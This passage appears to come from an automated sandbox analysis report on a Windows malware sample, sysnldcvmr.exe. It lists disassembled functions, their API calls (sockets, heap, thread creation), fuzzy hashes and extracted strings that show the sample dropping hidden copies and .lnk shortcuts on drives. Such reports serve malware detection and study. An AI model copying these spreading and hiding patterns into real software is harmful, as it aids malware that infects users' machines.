Instruction Fuzzy Hash: D1F0B4B0581304ABD724DB71FC05BA637A8A704705F02803EF6089A2D2EAB9DC44CB9C

Function 00409DB0 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00409E50: GetCurrentProcessId.KERNEL32(?,00409DBB,?,0040C6CE,00000010,?,?,?,?,?,?,0040C43B), ref: 00409E53

RtlAllocateHeap.NTDLL(020D0000,?,-0000000C), ref: 00409DFA
memset.NTDLL ref: 00409E34

Part of subcall function 00409E70: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,00409DC7,?,0040C6CE,00000010,?,?,?,?,?,?,0040C43B), ref: 00409E9C
Part of subcall function 00409E70: HeapSetInformation.KERNEL32(020D0000,00000000,00000002,00000004), ref: 00409EC6
Part of subcall function 00409E70: GetCurrentProcessId.KERNEL32 ref: 00409ECC

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
String ID:
API String ID: 3494217179-0
Opcode ID: d8037d4416afb632a3dc4f98f72e54e87fb15f54c14e696db28e718d2a8b7ec8
Instruction ID: bc348cf5c9b079020b3d900c37522172a8fbba108f4db171397f18f444666f8c
Opcode Fuzzy Hash: d8037d4416afb632a3dc4f98f72e54e87fb15f54c14e696db28e718d2a8b7ec8
Instruction Fuzzy Hash: A611FEB5900108BBCB10EFA5D845B9E7BB5AF44305F14C169F909BB382D638DE54CB99

Function 0040D550 Relevance: 3.0, APIs: 2, Instructions: 49synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004013B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040D55D,00000000), ref: 004013D5
Part of subcall function 004013B0: socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
Part of subcall function 004013B0: bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 0040B200: EnterCriticalSection.KERNEL32(00416690), ref: 0040B210
Part of subcall function 0040B200: LeaveCriticalSection.KERNEL32(00416690), ref: 0040B23C

InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040D57D
WaitForSingleObject.KERNEL32(00000610,00001388), ref: 0040D5C7

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
String ID:
API String ID: 3920643007-0
Opcode ID: a86012ae710333058172dcdbedf12253eac4732d168f1a6e5cd698471d501b85
Instruction ID: ebe6697be7004dc57312df383308c6bc29ac17b58d9e4cbca4aa496e4513f42a
Opcode Fuzzy Hash: a86012ae710333058172dcdbedf12253eac4732d168f1a6e5cd698471d501b85
Instruction Fuzzy Hash: 1F11A575E00208BBE704EBE4DC4ABAF7734AB04704F148179F901772D1E6B5AA44CB89

Function 0040ADD0 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 0040ADEC
gethostbyname.WS2_32(?), ref: 0040ADFE

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: 3e0d64d0359f05fd9a79bfd049c8ca7c81df9b12e882189b7266d53aab3380c0
Instruction ID: 4c25e3467811ff68b39612d5822c2a685709a2e0bc46d2761966ab013cae1a79
Opcode Fuzzy Hash: 3e0d64d0359f05fd9a79bfd049c8ca7c81df9b12e882189b7266d53aab3380c0
Instruction Fuzzy Hash: 4E1112349442288BCB24CF24C848BD9B771AB65314F1886D6D4C9673D0C7F96DD5CF86

Function 0040AA40 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(0040AAC1), ref: 0040AA4A
gethostbyname.WS2_32(?), ref: 0040AA5D

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: 46542f40318f5cfb28b81fc8c4f0329da453caff3e113274fd4b0c2f7b1fac6b
Instruction ID: cb50bac6aa0e7e12dc0343020e8a378ceee1aa6c6dd57b9abb221f5468a140c1
Opcode Fuzzy Hash: 46542f40318f5cfb28b81fc8c4f0329da453caff3e113274fd4b0c2f7b1fac6b
Instruction Fuzzy Hash: D9F0A274900208EFCB14DFE4D54899EBBB4EB49311F1083A6D905573A0D7749E90DF45

Function 0040AB40 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

shutdown.WS2_32(0040AB2D,00000002), ref: 0040AB49
closesocket.WS2_32(0040AB2D), ref: 0040AB53

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: 25f7de04c8b00f8f37ac4a6d3bc42f69888779e154306af29f6f284285fde8ae
Instruction ID: e588004495cc6a7b8ebd8d82ef2c96d96882889d66b7c68133776882e6b5d849
Opcode Fuzzy Hash: 25f7de04c8b00f8f37ac4a6d3bc42f69888779e154306af29f6f284285fde8ae
Instruction Fuzzy Hash: 39C04C7914020CBBCB549FE5EC4DDD97BACFB48751F108455FA098B251CAB6E9808B94

Function 004094C0 Relevance: 2.7, APIs: 2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49918b4f20286d22e57c7ceed385b398b81563bf0e8e17b5f3ec0db91efd0369
Instruction ID: 8fd51ed7c7d124206d95d0b099151232a703b398231c835f2f34ac4665f76d2c
Opcode Fuzzy Hash: 49918b4f20286d22e57c7ceed385b398b81563bf0e8e17b5f3ec0db91efd0369
Instruction Fuzzy Hash: B081EA75900118EFDB25CF18C895BAA77B1FB44358F1085A9E94DAB382D734AEC5CF84

Function 0040B200 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00416690), ref: 0040B210
LeaveCriticalSection.KERNEL32(00416690), ref: 0040B23C

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 839316003de6d4969e72e9a64bdcbbbec430ca9f73e83315ba2c9423ae0d711a
Instruction ID: 4173032fab3eb0730c98540359f75f4152e7c09aa21c3b13d5d70a64086a5cd8
Opcode Fuzzy Hash: 839316003de6d4969e72e9a64bdcbbbec430ca9f73e83315ba2c9423ae0d711a
Instruction Fuzzy Hash: F4E01AB4941208EFCB14DF84FC09BD97B68E704305F12806DE90853390D7B5AE90DA9D

Function 0040AB60 Relevance: 2.5, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00416690,?,0040B3F7), ref: 0040AB68
LeaveCriticalSection.KERNEL32(00416690,?,0040B3F7), ref: 0040AB78

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 81c3f962b9ec76ce2805c60adb74695caac985be6cbd1f024fba086166782042
Instruction ID: 927706f0d4a3faa36ccdeaf6698e9d1267a6522d247c521c6b95ccff81df7cb1
Opcode Fuzzy Hash: 81c3f962b9ec76ce2805c60adb74695caac985be6cbd1f024fba086166782042
Instruction Fuzzy Hash: 09B09B341C03059B81103F95BC0BBCC3F1895047653128036FD0954051DDE5B4D4D95F

Function 0040A1B0 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00409E50: GetCurrentProcessId.KERNEL32(?,00409DBB,?,0040C6CE,00000010,?,?,?,?,?,?,0040C43B), ref: 00409E53

RtlFreeHeap.NTDLL(020D0000,00000000,00402612,?,00402612,?), ref: 0040A20B

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CurrentFreeHeapProcess
String ID:
API String ID: 3855406826-0
Opcode ID: 5c77f0e4d4085861ac8a8ab167670b2290c4d540b64ade23244c922168c35f16
Instruction ID: 3faa604e5be9d5a0263373ae2e3f7e010bf72a20a2b1d8f85abd2c6c7d5d41cb
Opcode Fuzzy Hash: 5c77f0e4d4085861ac8a8ab167670b2290c4d540b64ade23244c922168c35f16
Instruction Fuzzy Hash: 11F06874900308AFDB04DFD5D8449ADBB75AF94304F10C1AEEA086B381FA36DD51CB95

Function 0040CC90 Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,?,00000000), ref: 0040CCAF

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 06370eea5684355e58e3ecca2704a58af4611f1d3e16c80e6b4b5217ad5f95b8
Instruction ID: 45736cdf7257a26a41736574bf54bf9ad9d0bdd3ada43f241fa33aa1b29d5f37
Opcode Fuzzy Hash: 06370eea5684355e58e3ecca2704a58af4611f1d3e16c80e6b4b5217ad5f95b8
Instruction Fuzzy Hash: E201317490834DEFDB00CFA8C884BDD7BB4BB08314F148299E819A7381D3759695DB55

Function 0040CEB0 Relevance: 1.5, APIs: 1, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040B200: EnterCriticalSection.KERNEL32(00416690), ref: 0040B210
Part of subcall function 0040B200: LeaveCriticalSection.KERNEL32(00416690), ref: 0040B23C

WaitForSingleObject.KERNEL32(00000610,00001388), ref: 0040CEDC

Part of subcall function 0040CAD0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040CADC

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
String ID:
API String ID: 3309573332-0
Opcode ID: 12ca459a1005339a85f2975bee04b4d743ea4df3d22cee4e9c3de1405843334b
Instruction ID: 44ae0f0a1ed3c9862aadb4204bdd5a5f8f47b864d141f75822239993b39a6931
Opcode Fuzzy Hash: 12ca459a1005339a85f2975bee04b4d743ea4df3d22cee4e9c3de1405843334b
Instruction Fuzzy Hash: 91E0927094030CE6D714E7A1D846B6F722AA710305F14427EF501762C2DA7A9E40D7DC

Function 004072C0 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004072E0

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 34e119f03330a37951e29d4ee19d5d58663b392051cfe4a9acefb3e3966ee614
Instruction ID: 4030d214640323180f81309a45cda4b6a66b11fae01bbf3bc15f759713f42cbd
Opcode Fuzzy Hash: 34e119f03330a37951e29d4ee19d5d58663b392051cfe4a9acefb3e3966ee614
Instruction Fuzzy Hash: 07E0ED74D0020CFFDF00DF94C889BDEBBB8AB04315F1081A9F90467280D7B56A94DB95

Function 00409300 Relevance: 1.4, APIs: 1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e9827fe68293e6897285389ea4db970e48dcd10d1f4aced94a3f78aca3421f0
Instruction ID: 66abf71bbc6bb8f29832275f6f9e93cbfca7bab132a793ca51917ff8eec0f9fe
Opcode Fuzzy Hash: 1e9827fe68293e6897285389ea4db970e48dcd10d1f4aced94a3f78aca3421f0
Instruction Fuzzy Hash: 49511D74600209DFDB04CF58C895FEA73A5FB48318F14817AED299B382D735EA52CB94

Function 0040B960 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040B99F

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 3fd26d3f89756667c74fb30ff6c09527195665763de936d9e7706284fcb5180b
Instruction ID: 1007895d3f5dd07e883ba7e973a29537cb8d56efa9e6214bb7f3aa4e2946e06e
Opcode Fuzzy Hash: 3fd26d3f89756667c74fb30ff6c09527195665763de936d9e7706284fcb5180b
Instruction Fuzzy Hash: E6410BB8A00304DFD708DF44E881EAA7BB2FB89305B118269E8055B391D776E959CF99

Function 00409B60 Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fc1373019c28447f74aec52a80cbc38db19b8b353befe5cdb76d8d1002225a7
Instruction ID: 678e650cd2e28da927faa8218c892c0e8e24154ae7b50003a1efe540928fb777
Opcode Fuzzy Hash: 7fc1373019c28447f74aec52a80cbc38db19b8b353befe5cdb76d8d1002225a7
Instruction Fuzzy Hash: A1312FB5908108EBDB00CF54D885BE937B5AB44319F14817AE809AF383D379AE95DB89

Function 00405CF0 Relevance: 1.3, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,00000100,?,?,?,00000000), ref: 00405D4C

Part of subcall function 00407310: memcpy.NTDLL(00000000,?,?), ref: 00407338
Part of subcall function 00407310: CreateThread.KERNEL32(00000000,00000000,00407370,00000000,00000000,00000000), ref: 0040735A
Part of subcall function 00407310: CloseHandle.KERNEL32(00000000), ref: 00407361

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: memcpy$CloseCreateHandleThread
String ID:
API String ID: 241592544-0
Opcode ID: 773a56745138d3a706ef7e94f1b17aa5dcd045f1fceb3257cc2dff22dae358fc
Instruction ID: 301da727100d5b95795c90ba2c771f6cafa0cec544a9e9ac184ee71b37e309f2
Opcode Fuzzy Hash: 773a56745138d3a706ef7e94f1b17aa5dcd045f1fceb3257cc2dff22dae358fc
Instruction Fuzzy Hash: 74316F75E04208EFC704DF58D881BDE7BB5EB88304F08C1B9E9489B396D675AA91CB94

Function 0040BD30 Relevance: 1.3, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 0040BD7E

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 6bbb8f22591a39984af44fa86822b38a7e3f546da9e004f0edcc7f5d2d3ffc0d
Instruction ID: b1bb87256b5efd3424f142900696306e848d82a89310f2b72aaba6d6d943d697
Opcode Fuzzy Hash: 6bbb8f22591a39984af44fa86822b38a7e3f546da9e004f0edcc7f5d2d3ffc0d
Instruction Fuzzy Hash: 4411EB75E042086BCB04DAA0C841AAEB779DF55308F04C07AED14AB3C1F639E616C79A

Function 0040BDD0 Relevance: 1.3, APIs: 1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef4e1d27d18917f5f02c76ffccb1a41be42f14630a9d4f53e8c10fdda0cde11a
Instruction ID: 0cf2f6210e35dd3a89e71b675bc4324d126efeeb08d8f7795bed3634c604d578
Opcode Fuzzy Hash: ef4e1d27d18917f5f02c76ffccb1a41be42f14630a9d4f53e8c10fdda0cde11a
Instruction Fuzzy Hash: 3411C1B5904208ABCB00DAA4DC02BEF77B59F14308F14847AF904B6282E6799714979E

Function 004062C0 Relevance: 1.3, APIs: 1, Instructions: 32stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406320: GetDriveTypeW.KERNEL32(004062FF), ref: 0040632D

lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406313

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: DriveTypelstrcpy
String ID:
API String ID: 3664088370-0
Opcode ID: 2d61ef023cbf4c1c2148b72ea45ffb06c686e76863e737ed56d1566052f9a4a4
Instruction ID: 8c00fedf36f089a4a79421f594ce94f1f5e858f4e01688578a9b7e0a2acaca41
Opcode Fuzzy Hash: 2d61ef023cbf4c1c2148b72ea45ffb06c686e76863e737ed56d1566052f9a4a4
Instruction Fuzzy Hash: 96F01D75900208FBDB04DFA4D4557DEB7B4EF44304F14C5A9E819AB280E679AB58CB89

Non-executed Functions

Function 004066B0 Relevance: 80.8, APIs: 35, Strings: 11, Instructions: 305fileCOMMON

Download Yara Rule

APIs

_chkstk.NTDLL(?,00406D30,?,?,?), ref: 004066B8
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 0040670F
wsprintfW.USER32 ref: 0040672F
wsprintfW.USER32 ref: 0040674F
wsprintfW.USER32 ref: 00406768
PathFileExistsW.SHLWAPI(?), ref: 00406778
SetFileAttributesW.KERNEL32(?,00000080), ref: 004067B1
DeleteFileW.KERNEL32(?), ref: 004067BE
PathFileExistsW.SHLWAPI(?), ref: 004067CB
PathFileExistsW.SHLWAPI(?), ref: 004067E0
SetFileAttributesW.KERNEL32(?,00000080), ref: 004067F6
DeleteFileW.KERNEL32(?), ref: 00406803
PathFileExistsW.SHLWAPI(?), ref: 00406810
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406823
SetFileAttributesW.KERNEL32(?,00000002), ref: 00406836
PathFileExistsW.SHLWAPI(?), ref: 00406843

Strings

%s\%s\%s, xrefs: 00406B3C
%s\%s, xrefs: 00406AA2
%s\%s\DriveSecManager.exe, xrefs: 00406723
shell32.dll, xrefs: 0040688F
C:\Windows\sysnldcvmr.exe, xrefs: 00406856
%s\*, xrefs: 0040675C
shell32.dll, xrefs: 004068A7
%s\%s, xrefs: 00406703
%s\%s, xrefs: 00406B15
%s\%s, xrefs: 00406743
%s.lnk, xrefs: 004066E3

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$ExistsPathwsprintf$Attributes$Delete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\DriveSecManager.exe$%s\*$C:\Windows\sysnldcvmr.exe$shell32.dll$shell32.dll
API String ID: 2467965697-1186605320
Opcode ID: 6fdb608ebf9e3f7754ee061c031def056059c2a3e2aafc618c301169eaa81d58
Instruction ID: f76dd7f444767b2c43f85b167d980272eeebb95a9fd79305f50fc2a4155965b0
